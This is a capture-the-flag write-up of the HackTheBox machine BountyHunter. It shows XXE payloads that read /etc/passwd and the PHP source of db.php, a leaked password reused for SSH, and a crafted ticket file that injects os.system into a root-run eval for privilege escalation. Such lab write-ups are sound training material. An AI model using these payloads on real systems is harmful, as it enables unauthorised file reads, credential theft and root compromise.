← Back to Writeups
HTBEasyMachine

BountyHunter

D3v0o0Nu119/2/20264 min read
#machine#htb#easy#ubuntu

BountyHunter

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine BountyHunter (Ubuntu, attack surface: Apache httpd 2.4.41 ((Ubuntu)) (80), OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) (22)). Foothold via the vulnerable entry point; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

bash
nmap -p- -sVC 10.10.11.100 --min-rate 1000
PortServiceVersionNotes
22sshOpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80httpApache httpd 2.4.41 ((Ubuntu))

Enumeration highlights

  • Detected OS: Ubuntu.
  • Open services: http (80), ssh (22).
  • Scan used: nmap -p- -sVC 10.10.11.100 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.11.100 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-17 02:42 PDT
Nmap scan report for 10.10.11.100
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d44cf5799a79a3b0f1662552c9531fe1 (RSA)
|   256 a21e67618d2f7a37a7ba3b5108e889a6 (ECDSA)
|_  256 a57516d96958504a14117a42c1b62344 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds
  1. Based from the nmap results, the machine runs a web application and opens ssh login.

  2. After ran dirbuster, found several dirs and files.

  3. Long story short, portal.php AND db.php could be our interest.

NOTES:

Can't access db.php file, dunno why even though the status code is 200. 
  1. Let's start by sending random data and intercept the request using burpsuite.

DATA TO SEND

RESULT IN BURP

  1. Interesting, our data is url encoded (judging from %3D), let's throw that to cyberchef.

RESULT IN CYBERCHEF

  1. Interesting! Our request is formatted in xml. This should be our foothold if we can do XXE. Let's try the basic payload to test if it is vuln to XXE.

COMMON ONE

<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>aa</title>
	<cwe>&file;</cwe>
	<cvss>aaaa</cvss>
	<reward>80000</reward>
</bugreport>
  1. Encode it to base64 + url. Send it afterwards.

  2. Turns out, it does vulnerable to XXE.

  3. Nice, this should be our foothold.

  4. Noticed, we already leak the username.

  5. Remembering that this is an Apache's server and it stores data, hence we can leak database file at /var/www/html. But again, for safety, we need to encode the result in base64 so there are no chars missing.

COMMAND

<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>

FULL PAYLOAD

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>aa</title>
	<cwe>&file;</cwe>
	<cvss>aaaa</cvss>
	<reward>80000</reward>
</bugreport>
  1. Ok, there is an assumption of possibilites of password reuse. Let's try run ssh to the remote server, set the username as development, and password as --> m19RoAU0hP41A1sTsq6K.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

INSIDE OUR PAYLOAD

Based from the source code, our payload file must contain these:

  1. First row should be --> # Skytrain Inc
  2. Second row should be ## Ticket to
  3. Ticket code, starts with --> "Ticket Code:"
  4. Line after the ticket code must start with --> "**".
  5. Text after "**" until the first "+" must be integer and it should be divisible by 7 and contains 4 remainders.
  6. Lastly, the file extension must be .md.

PAYLOAD


### Skytrain Inc

### Ticket to Mars

__Ticket Code:__
**
  1. Anyway I found several tickets that can be our example to validate whether the format we send is correct or not.

  2. Using the first ticket it says invalid.

  3. Long story short found one potential ticket, it just missing the Ticket Code: line.

COMPLETE CRITERIA:


### Skytrain Inc

### Ticket to Bridgeport

__Ticket Code:__
**32+110+43**
##Issued: 2021/04/06
#End Ticket
  1. Let's make a file contains our payload at /tmp directory, then run it to check whether it's valid or not.

  2. It is valid!! Let's try to use the basic pyjail payload.

PAYLOAD


### Skytrain Inc

### Ticket to Bridgeport

__Ticket Code:__
**32+110+43+ __import__('os').system('id')**
##Issued: 2021/04/06
#End Ticket
  1. Since it's being run as root, we can use this to do privesc.

PAYLOAD

Root flag: REDACTED

Flags

FlagValue
userREDACTED
rootREDACTED

Lessons Learned

  1. Enumerate everything; version strings map to CVEs.
  2. Confirm each hypothesis with a test before building the exploit.
  3. Chain foothold -> privilege escalation mechanically.